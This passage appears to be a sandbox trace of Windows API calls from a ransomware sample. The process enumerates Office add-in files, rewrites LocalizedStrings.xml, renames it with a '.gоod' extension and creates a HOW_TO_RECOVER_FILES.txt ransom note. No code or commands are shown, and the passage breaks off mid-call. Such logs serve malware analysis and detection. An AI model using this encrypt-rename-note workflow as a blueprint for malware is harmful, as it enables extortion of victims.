lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68b32cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0265.614] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0265.615] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0265.615] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0265.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0265.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0265.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0265.615] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr", lpFilePart=0x0) returned 0x51 [0265.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0265.615] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.615] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0265.616] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f92917, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f92917, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3fb8b54, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0265.616] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0265.616] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0265.616] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cdf4b7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cdf4b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cdf4b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x202030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0265.616] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0265.616] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0265.617] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf458770a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45d3b76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0265.617] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8502274, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8502274, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0265.617] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b3aadd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b3aadd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0265.617] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ac3a61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0265.617] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0265.618] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37d2e47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37d2e47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0265.618] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91f9f99, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91f9f99, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0265.618] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0265.618] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0265.618] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0265.618] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68b32cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0265.619] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0265.619] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0265.619] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0265.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0265.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0265.619] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0265.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0265.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x395ff48 | out: lpFileInformation=0x395ff48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fa)) returned 1 [0265.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0265.620] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0265.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0265.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0265.621] GetFileType (hFile=0x824) returned 0x1 [0265.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0265.621] GetFileType (hFile=0x824) returned 0x1 [0265.621] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0265.621] ReadFile (in: hFile=0x824, lpBuffer=0x3960400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3960400*, lpNumberOfBytesRead=0x206ec9c8*=0xfa, lpOverlapped=0x0) returned 1 [0265.807] CloseHandle (hObject=0x824) returned 1 [0265.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0265.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0265.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0265.807] GetFileType (hFile=0x824) returned 0x1 [0265.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0265.807] GetFileType (hFile=0x824) returned 0x1 [0265.807] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x10fa [0265.807] WriteFile (in: hFile=0x824, lpBuffer=0x396a518*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x396a518*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0265.807] CloseHandle (hObject=0x824) returned 1 [0265.808] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0265.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0265.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0265.808] GetFileType (hFile=0x824) returned 0x1 [0265.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0265.808] GetFileType (hFile=0x824) returned 0x1 [0265.808] ReadFile (in: hFile=0x824, lpBuffer=0x396c828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x396c828*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0265.867] CloseHandle (hObject=0x824) returned 1 [0265.867] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0265.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0265.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0265.867] GetFileType (hFile=0x824) returned 0x1 [0265.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0265.867] GetFileType (hFile=0x824) returned 0x1 [0265.867] WriteFile (in: hFile=0x824, lpBuffer=0x37f2728*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x37f2728*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0265.867] CloseHandle (hObject=0x824) returned 1 [0265.867] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0265.867] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0265.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0265.868] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9aadbe50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110a)) returned 1 [0265.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0265.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\localizedstrings.xml.gоod")) returned 1 [0265.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0265.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0265.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0265.870] GetFileType (hFile=0x824) returned 0x1 [0265.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0265.870] GetFileType (hFile=0x824) returned 0x1 [0265.871] WriteFile (in: hFile=0x824, lpBuffer=0x382fcf8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, 